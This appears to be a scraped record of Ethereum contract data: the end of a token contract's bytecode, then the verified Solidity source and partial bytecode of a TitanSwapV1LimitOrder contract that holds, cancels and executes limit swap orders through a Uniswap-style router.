610510600480360360408110156104da57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110e4565b60405180821515815260200191505060405180910390f35b61058a6004803603604081101561053e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e0565b6040518082815260200191505060405180910390f35b6105e2600480360360208110156105b657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611367565b005b6040518060400160405280600f81526020017f4e6577204275696c6420546f6b656e000000000000000000000000000000000081525081565b600081600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60015481565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561075057600080fd5b6000600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905061082383600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506108b883600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061090e83826114b690919063ffffffff16565b600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601281565b6012600a0a640306dc42000281565b60008111610a2057600080fd5b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054811115610a6c57600080fd5b6000339050610ac382600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b1b826001546114b690919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610cea576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d7e565b610cfd83826114b690919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280600381526020017f4e4254000000000000000000000000000000000000000000000000000000000081525081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610f4b57600080fd5b610f9d82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114b690919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061103282600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117582600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114cd90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113bf57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113f957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211156114c257fe5b818303905092915050565b6000808284019050838110156114df57fe5b809150509291505056fea2646970667358221220b89e89db45582d1d963144302f82abeb9e12135509fc7797574599725759f07864736f6c634300060c0033
[ 38 ]
0xf3959b1712ed5b3fc5e7c428e7c581a8e8613493
/** *Submitted for verification at Etherscan.io on 2020-09-22 */ pragma solidity =0.6.6; interface ITitanSwapV1LimitOrder { // event Transfer(address indexed from, address indexed to, uint value); event Deposit(uint orderId,address indexed pair,address indexed user,uint amountIn,uint amountOut,uint fee); function setDepositAccount(address) external; function depositExactTokenForTokenOrder(address sellToken,address pair,uint amountIn,uint amountOut) external payable; // deposit swapExactEthForTokens function depositExactEthForTokenOrder(address pair,uint amountIn,uint amountOut) external payable; // deposit swapExactTokenForETH function depositExactTokenForEth(address sellToken,address pair,uint amountIn,uint amountOut) external payable; function cancelTokenOrder(uint orderId) external; function executeExactTokenForTokenOrder(uint orderId, address[] calldata path, uint deadline) external; function executeExactETHForTokenOrder(uint orderId, address[] calldata path, uint deadline) external payable; function executeExactTokenForETHOrder(uint orderId, address[] calldata path, uint deadline) external; function queryOrder(uint orderId) external view returns(address,address,uint,uint,uint); function existOrder(uint orderId) external view returns(bool); function withdrawFee(address payable to) external; function setEthFee(uint _ethFee) external; } interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } contract TitanSwapV1LimitOrder is ITitanSwapV1LimitOrder { using SafeMath for uint; address public depositAccount; address public immutable router; address public immutable WETH; address public immutable factory; uint public userBalance; mapping (uint => Order) private depositOrders; // to deposit order count uint public orderCount; // total order count uint public orderIds; // eth fee,defualt 0.01 eth uint public ethFee = 10000000000000000; constructor(address _router,address _depositAccount,address _WETH,address _factory,uint _ethFee) public{ router = _router; depositAccount = _depositAccount; WETH = _WETH; factory = _factory; ethFee = _ethFee; } struct Order { bool exist; address pair; address payable user; // 用户地址 address sellToken; // uint direct; // 0 或 1,默认根据pair的token地址升序排,0- token0, token1 1- token1 token0 uint amountIn; uint amountOut; uint ethValue; } function setDepositAccount(address _depositAccount) external override{ require(msg.sender == depositAccount, 'TitanSwapV1: FORBIDDEN'); depositAccount = _depositAccount; } function depositExactTokenForTokenOrder(address sellToken,address pair,uint amountIn,uint amountOut) external override payable { // call swap method cost fee. uint fee = ethFee; require(msg.value >= fee,"TitanSwapV1 : no fee enough"); orderIds = orderIds.add(1); uint _orderId = orderIds; // need transfer eth fee. need msg.sender send approve trx first. TransferHelper.safeTransferFrom(sellToken,msg.sender,address(this),amountIn); depositOrders[_orderId] = Order(true,pair,msg.sender,sellToken,amountIn,amountOut,msg.value); emit Deposit(_orderId,pair,msg.sender,amountIn,amountOut,msg.value); orderCount = orderCount.add(1); userBalance = userBalance.add(msg.value); } function depositExactEthForTokenOrder(address pair,uint amountIn,uint amountOut) external override payable { uint fee = ethFee; uint calFee = msg.value.sub(amountIn); require(calFee >= fee,"TitanSwapV1 : no fee enough"); orderIds = orderIds.add(1); uint _orderId = orderIds; depositOrders[_orderId] = Order(true,pair,msg.sender,address(0),amountIn,amountOut,msg.value); emit Deposit(_orderId,pair,msg.sender,amountIn,amountOut,msg.value); orderCount = orderCount.add(1); userBalance = userBalance.add(msg.value); } function depositExactTokenForEth(address sellToken,address pair,uint amountIn,uint amountOut) external override payable { uint fee = ethFee; require(msg.value >= fee,"TitanSwapV1 : no fee enough"); orderIds = orderIds.add(1); uint _orderId = orderIds; // need transfer eth fee. need msg.sender send approve trx first. TransferHelper.safeTransferFrom(sellToken,msg.sender,address(this),amountIn); depositOrders[_orderId] = Order(true,pair,msg.sender,sellToken,amountIn,amountOut,msg.value); emit Deposit(_orderId,pair,msg.sender,amountIn,amountOut,msg.value); orderCount = orderCount.add(1); userBalance = userBalance.add(msg.value); } function cancelTokenOrder(uint orderId) external override { Order memory order = depositOrders[orderId]; require(order.exist,"order not exist."); require(msg.sender == order.user,"no auth to cancel."); // revert eth TransferHelper.safeTransferETH(order.user,order.ethValue); if(order.sellToken != address(0)) { // revert token TransferHelper.safeTransfer(order.sellToken,order.user,order.amountIn); } userBalance = userBalance.sub(order.ethValue); delete(depositOrders[orderId]); orderCount = orderCount.sub(1); } function queryOrder(uint orderId) external override view returns(address,address,uint,uint,uint) { Order memory order = depositOrders[orderId]; return (order.pair,order.user,order.amountIn,order.amountOut,order.ethValue); } function existOrder(uint orderId) external override view returns(bool) { return depositOrders[orderId].exist; } function executeExactTokenForTokenOrder( uint orderId, address[] calldata path, uint deadline ) external override { require(msg.sender == depositAccount, 'TitanSwapV1 executeOrder: FORBIDDEN'); Order memory order = depositOrders[orderId]; require(order.exist,"order not exist!"); // approve to router TransferHelper.safeApprove(path[0],router,order.amountIn); delete(depositOrders[orderId]); orderCount = orderCount.sub(1); userBalance = userBalance.sub(order.ethValue); ITitanSwapV1Router01(router).swapExactTokensForTokens(order.amountIn,order.amountOut,path,order.user,deadline); } // requires the initial amount to have already been sent to the first pair function _swap(uint[] memory amounts, address[] memory path, address _to) internal virtual { for (uint i; i < path.length - 1; i++) { (address input, address output) = (path[i], path[i + 1]); (address token0,) = UniswapV2Library.sortTokens(input, output); uint amountOut = amounts[i + 1]; (uint amount0Out, uint amount1Out) = input == token0 ? (uint(0), amountOut) : (amountOut, uint(0)); address to = i < path.length - 2 ? UniswapV2Library.pairFor(factory, output, path[i + 2]) : _to; IUniswapV2Pair(UniswapV2Library.pairFor(factory, input, output)).swap( amount0Out, amount1Out, to, new bytes(0) ); } } function executeExactETHForTokenOrder(uint orderId, address[] calldata path, uint deadline) external override payable { require(deadline >= block.timestamp, 'UniswapV2Router: EXPIRED'); require(msg.sender == depositAccount, 'TitanSwapV1 executeOrder: FORBIDDEN'); Order memory order = depositOrders[orderId]; require(order.exist,"order not exist!"); delete(depositOrders[orderId]); orderCount = orderCount.sub(1); userBalance = userBalance.sub(order.ethValue); // call with msg.value = amountIn require(path[0] == WETH, 'UniswapV2Router: INVALID_PATH'); uint[] memory amounts = UniswapV2Library.getAmountsOut(factory, order.amountIn, path); require(amounts[amounts.length - 1] >= order.amountOut, 'UniswapV2Router: INSUFFICIENT_OUTPUT_AMOUNT'); IWETH(WETH).deposit{value: order.amountIn}(); assert(IWETH(WETH).transfer(order.pair, amounts[0])); _swap(amounts, path, order.user); } function executeExactTokenForETHOrder(uint orderId, address[] calldata path, uint deadline) external override { require(msg.sender == depositAccount, 'TitanSwapV1 executeOrder: FORBIDDEN'); Order memory order = depositOrders[orderId]; require(order.exist,"order not exist!"); // approve to router TransferHelper.safeApprove(path[0],router,order.amountIn); delete(depositOrders[orderId]); orderCount = orderCount.sub(1); userBalance = userBalance.sub(order.ethValue); ITitanSwapV1Router01(router).swapExactTokensForETH(order.amountIn,order.amountOut,path,order.user,deadline); } function withdrawFee(address payable to) external override { require(msg.sender == depositAccount, 'TitanSwapV1 : FORBIDDEN'); uint amount = address(this).balance.sub(userBalance); require(amount > 0,'TitanSwapV1 : amount = 0'); TransferHelper.safeTransferETH(to,amount); } function setEthFee(uint _ethFee) external override { require(msg.sender == depositAccount, 'TitanSwapV1 : FORBIDDEN'); require(_ethFee >= 10000000,'TitanSwapV1: fee wrong'); ethFee = _ethFee; } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface ITitanSwapV1Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library UniswapV2Library { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'UniswapV2Library: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'UniswapV2Library: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); // pair = IUniswapV2Factory(factory).getPair(tokenA,tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IUniswapV2Pair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'UniswapV2Library: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'UniswapV2Library: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'UniswapV2Library: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'UniswapV2Library: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'UniswapV2Library: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function safeApprove(address token, address to, uint value) internal { // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function safeTransfer(address token, address to, uint value) internal { // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function safeTransferFrom(address token, address from, address to, uint value) internal { // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function safeTransferETH(address to, uint value) internal { (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } }
0x60806040526004361061011f5760003560e01c8063ab803865116100a0578063c2b7c42e11610064578063c2b7c42e146103ad578063c45a01551461042f578063c5cc426a14610444578063f736eb8e146104a5578063f887ea40146105275761011f565b8063ab803865146102a9578063ad5c4648146102db578063ae63c62e146102f0578063b01f37cd14610323578063bf152765146103985761011f565b80634cf1115d116100e75780634cf1115d1461022457806362dd4b481461023957806363b9bee71461024e578063a4667e1414610124578063a4aa8a941461027f5761011f565b8063092d7366146101245780631ac3ddeb146101625780632453ffa8146101955780632b6b91ae146101bc5780633f6738a9146101fa575b600080fd5b6101606004803603608081101561013a57600080fd5b506001600160a01b0381358116916020810135909116906040810135906060013561053c565b005b34801561016e57600080fd5b506101606004803603602081101561018557600080fd5b50356001600160a01b031661077d565b3480156101a157600080fd5b506101aa610852565b60408051918252519081900360200190f35b3480156101c857600080fd5b506101e6600480360360208110156101df57600080fd5b5035610858565b604080519115158252519081900360200190f35b34801561020657600080fd5b506101606004803603602081101561021d57600080fd5b503561086d565b34801561023057600080fd5b506101aa61091c565b34801561024557600080fd5b506101aa610922565b34801561025a57600080fd5b50610263610928565b604080516001600160a01b039092168252519081900360200190f35b34801561028b57600080fd5b50610160600480360360208110156102a257600080fd5b5035610937565b610160600480360360608110156102bf57600080fd5b506001600160a01b038135169060208101359060400135610b1c565b3480156102e757600080fd5b50610263610d4d565b3480156102fc57600080fd5b506101606004803603602081101561031357600080fd5b50356001600160a01b0316610d71565b6101606004803603606081101561033957600080fd5b81359190810190604081016020820135600160201b81111561035a57600080fd5b82018360208201111561036c57600080fd5b803590602001918460208302840111600160201b8311171561038d57600080fd5b919350915035610deb565b3480156103a457600080fd5b506101aa6112bb565b3480156103b957600080fd5b50610160600480360360608110156103d057600080fd5b81359190810190604081016020820135600160201b8111156103f157600080fd5b82018360208201111561040357600080fd5b803590602001918460208302840111600160201b8311171561042457600080fd5b9193509150356112c1565b34801561043b57600080fd5b50610263611641565b34801561045057600080fd5b5061046e6004803603602081101561046757600080fd5b5035611665565b604080516001600160a01b039687168152949095166020850152838501929092526060830152608082015290519081900360a00190f35b3480156104b157600080fd5b50610160600480360360608110156104c857600080fd5b81359190810190604081016020820135600160201b8111156104e957600080fd5b8201836020820111156104fb57600080fd5b803590602001918460208302840111600160201b8311171561051c57600080fd5b9193509150356116fc565b34801561053357600080fd5b50610263611972565b60055434811115610594576040805162461bcd60e51b815260206004820152601b60248201527f546974616e537761705631203a206e6f2066656520656e6f7567680000000000604482015290519081900360640190fd5b6004546105a890600163ffffffff61199616565b60048190556105b9863330876119ae565b6040518060e00160405280600115158152602001866001600160a01b03168152602001336001600160a01b03168152602001876001600160a01b03168152602001858152602001848152602001348152506002600083815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a8154816001600160a01b0302191690836001600160a01b0316021790555060408201518160010160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060608201518160020160006101000a8154816001600160a01b0302191690836001600160a01b031602179055506080820151816003015560a0820151816004015560c08201518160050155905050336001600160a01b0316856001600160a01b03167f7ee7a1de9c18ce695c95b8b19fbdf26cce3544e3ca9e08c9f487776783d7599f838787346040518085815260200184815260200183815260200182815260200194505050505060405180910390a360035461075c90600163ffffffff61199616565b600355600154610772903463ffffffff61199616565b600155505050505050565b6000546001600160a01b031633146107d6576040805162461bcd60e51b81526020600482015260176024820152762a34ba30b729bbb0b82b18901d102327a92124a22222a760491b604482015290519081900360640190fd5b60006107ed60015447611b0390919063ffffffff16565b905060008111610844576040805162461bcd60e51b815260206004820152601860248201527f546974616e537761705631203a20616d6f756e74203d20300000000000000000604482015290519081900360640190fd5b61084e8282611b15565b5050565b60035481565b60009081526002602052604090205460ff1690565b6000546001600160a01b031633146108c6576040805162461bcd60e51b81526020600482015260176024820152762a34ba30b729bbb0b82b18901d102327a92124a22222a760491b604482015290519081900360640190fd5b62989680811015610917576040805162461bcd60e51b8152602060048201526016602482015275546974616e5377617056313a206665652077726f6e6760501b604482015290519081900360640190fd5b600555565b60055481565b60045481565b6000546001600160a01b031681565b61093f6125ec565b50600081815260026020818152604092839020835160e081018552815460ff811615158083526101009091046001600160a01b0390811694830194909452600183015484169582019590955292810154909116606083015260038101546080830152600481015460a08301526005015460c0820152906109f9576040805162461bcd60e51b815260206004820152601060248201526f37b93232b9103737ba1032bc34b9ba1760811b604482015290519081900360640190fd5b80604001516001600160a01b0316336001600160a01b031614610a58576040805162461bcd60e51b815260206004820152601260248201527137379030baba34103a379031b0b731b2b61760711b604482015290519081900360640190fd5b610a6a81604001518260c00151611b15565b60608101516001600160a01b031615610a9457610a94816060015182604001518360800151611c0d565b60c0810151600154610aab9163ffffffff611b0316565b60019081556000838152600260208190526040822080546001600160a81b031916815580840180546001600160a01b0319908116909155918101805490921690915560038082018390556004820183905560059091019190915554610b159163ffffffff611b0316565b6003555050565b6005546000610b31348563ffffffff611b0316565b905081811015610b88576040805162461bcd60e51b815260206004820152601b60248201527f546974616e537761705631203a206e6f2066656520656e6f7567680000000000604482015290519081900360640190fd5b600454610b9c90600163ffffffff61199616565b600481905550600060045490506040518060e0016040528060011515815260200187600160016